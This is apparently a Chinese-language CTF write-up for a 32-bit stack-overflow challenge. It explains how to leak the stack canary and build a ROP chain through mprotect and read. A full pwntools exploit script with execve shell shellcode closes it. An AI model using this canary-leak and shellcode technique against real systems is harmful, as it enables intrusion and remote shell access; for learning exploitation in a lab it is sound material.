StarCTF 栈溢出 Level5.0-Oneshot

注意
本文最后更新于 2024-02-11,文中内容可能已过时。

程序代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned int stackoverflow()
{
  char v0; // ST04_1
  char s; // [esp+Ch] [ebp-4Ch]
  int v3; // [esp+2Ch] [ebp-2Ch]
  unsigned int v4; // [esp+4Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  memset(&s, 0, 0x40u);
  ((void (__cdecl *)(const char *, char))printf)("What's your name?", v0);
  get_line(&v3);
  printf("%s,let's make stackoverflow great again!\n", (unsigned int)&v3);
  get_line(&s);
  return __readgsdword(0x14u) ^ v4;
}
unsigned int __cdecl get_line(int a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v3 = 0;
  while ( read(0, (int)&v2, 1) > 0 && v2 != 0xA )
    *(_BYTE *)(a1 + v3++) = v2;
  return __readgsdword(0x14u) ^ v4;
}

思路:get_line肯定是有溢出的,通过第一次溢出来读取到canary,用第二次来ROP。

和前面那道静态编译的题目很类似,但是这道题目是x86且开了canary了。 所以我觉得难度是差不多的。 几个重要的点

  1. 泄漏canary:canary末尾两位是0x00(低地址),所以直接printf输出的时候是会被截断的,所以我们要覆盖这个字节,并且在读取的时候补回这0x00。
  2. 多次利用返回main函数。
  3. 堆栈的内容从上到下正好是调用参数从左到右的顺序。
  4. 其他的点参考intoverflow的那道题目。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *

#r = process('./level5.0-oneshot')
r = remote('pwn.sixstars.team', 22095)
r.sendlineafter("name?", 'a' * 0x21)
r.recvuntil('a' * 0x21, drop=True)
canary = u32(r.recv(3).rjust(4, '\x00'))
print hex(canary)
mprotect_addr = 0x806DE50
stackoverflow_addr = 0x80488E1
got_plt_addr = 0x80EA000
bss_addr = 0x80EAF80
read_addr = 0x0806D350
payload = 'a' * 0x40 + p32(canary) + 'b' * 0x8 + 'c' * 0x4  + p32(mprotect_addr) + p32(stackoverflow_addr) + p32(got_plt_addr) + p32(0x2000) + p32(7)
r.sendlineafter('!\n', payload)

r.sendlineafter("name?", 'wjh')
payload = 'a' * 0x40 + p32(canary) + 'b' * 0x8 + 'c' * 0x4  + p32(read_addr) + p32(stackoverflow_addr) + p32(0) + p32(bss_addr) + p32(0x1000)
sleep(1)
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
r.sendlineafter('!\n', payload)

r.send(shellcode)
#gdb.attach(r)
r.sendlineafter("name?", 'wjh')
payload = 'a' * 0x40 + p32(canary) + 'b' * 0x8 + 'c' * 0x4  + p32(bss_addr) + p32(stackoverflow_addr)
r.sendlineafter('!\n', payload)
r.interactive()
0%